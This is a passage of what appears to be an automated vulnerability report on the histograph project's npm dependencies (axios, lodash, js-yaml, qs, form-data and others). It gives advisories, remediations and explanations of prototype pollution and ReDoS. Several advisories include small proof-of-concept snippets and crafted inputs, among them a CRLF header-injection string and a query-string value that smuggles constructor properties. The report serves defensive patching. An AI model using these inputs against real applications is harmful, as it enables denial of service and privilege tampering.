    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.30.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.29.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.33.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: form-data
  • Introduced through: request@2.88.2 and seraph@0.15.3

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2 form-data@2.3.3
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2 form-data@2.3.3
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2 form-data@2.3.3

Overview

Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.

PoC

const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());

Remediation

Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.

References

medium severity

Inefficient Algorithmic Complexity

  • Vulnerable module: js-yaml
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 js-yaml@2.0.5
    Remediation: Upgrade to exectimer@2.0.0.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.

Remediation

Upgrade js-yaml to version 3.15.0, 4.2.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: js-yaml
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 js-yaml@2.0.5
    Remediation: Upgrade to exectimer@2.0.0.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can alter object prototypes by supplying specially crafted YAML documents containing __proto__ properties. This can lead to unexpected behavior or security issues in applications that process untrusted YAML input.

Workaround

This vulnerability can be mitigated by running the server with node --disable-proto=delete or by using Deno, which has pollution protection enabled by default.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade js-yaml to version 3.14.2, 4.1.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.11

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.17.23.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.23 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.11

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.18.1.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

medium severity

Inefficient Algorithmic Complexity

  • Vulnerable module: markdown-it
  • Introduced through: jstransformer-markdown-it@2.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph jstransformer-markdown-it@2.1.0 markdown-it@8.4.2

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity through the replaceAt() function in the smartquotes rule when processing markdown input with a large number of consecutive quotation marks and the typographer option enabled. An attacker can cause excessive CPU consumption and disrupt service availability by submitting specially crafted markdown content containing many quote characters.

Remediation

Upgrade markdown-it to version 14.2.0 or higher.

References

medium severity
new

Uncaught Exception

  • Vulnerable module: qs
  • Introduced through: request@2.88.2 and seraph@0.15.3

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2 qs@6.5.5
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2 qs@6.5.5
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2 qs@6.5.5

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Uncaught Exception in the isBuffer() function in lib/utils.js, which calls obj.constructor.isBuffer(obj) without checking that it is callable, reached from stringify() at lib/stringify.js:127. An attacker can throw an uncaught TypeError that fails each request with HTTP 500, and terminates the worker process when stringify() runs in an unguarded async context, by supplying a query string such as x[constructor][isBuffer]=y that sets constructor.isBuffer to a non-function value. This requires the application to call qs.parse() with plainObjects: true or allowPrototypes: true, which preserves the constructor own property, and to then pass the parsed result to qs.stringify().

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.16.0 or higher.

References

medium severity
new

Improper Encoding or Escaping of Output

  • Vulnerable module: uri-js
  • Introduced through: seraph@0.15.3 and request@2.88.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 neo4j-driver@1.7.8 uri-js@4.4.1
  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2 har-validator@5.1.5 ajv@6.15.0 uri-js@4.4.1
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2 har-validator@5.1.5 ajv@6.15.0 uri-js@4.4.1
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2 har-validator@5.1.5 ajv@6.15.0 uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via pctDecChars(), which decodes invalid and overlong percent-encoded sequences into ASCII metacharacters. An attacker can craft percent-encoded payloads to bypass platform decoder validation and inject path traversal or CRLF sequences that downstream consumers process without filtering.

Remediation

There is no fixed version for uri-js.

References

medium severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2 follow-redirects@1.5.10
    Remediation: Upgrade to axios@0.20.0.

Overview

Affected versions of this package are vulnerable to Information Exposure due to the handling of the Proxy-Authorization header across hosts. When using a dependent library, it only clears the authorization header during cross-domain redirects but allows the proxy-authentication header, which contains credentials, to persist. This behavior may lead to the unintended leakage of credentials if an attacker can trigger a cross-domain redirect and capture the persistent proxy-authentication header.

PoC

const axios = require('axios');

axios.get('http://127.0.0.1:10081/',{
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
}).then(function (response) {
console.log(response);
})

Remediation

Upgrade follow-redirects to version 1.15.6 or higher.

References

medium severity

Race Condition

  • Vulnerable module: grunt
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5
    Remediation: Upgrade to exectimer@2.0.0.

Overview

grunt is a JavaScript task runner.

Affected versions of this package are vulnerable to Race Condition via the file.copy operations. Exploiting this vulnerability leads to arbitrary file writing when an attacker can create a symlink just after deletion of the destination symlink, but right before the symlink is being written.

Remediation

Upgrade grunt to version 1.5.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: request@2.88.2 and seraph@0.15.3

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2

Overview

request is a simplified http request client.

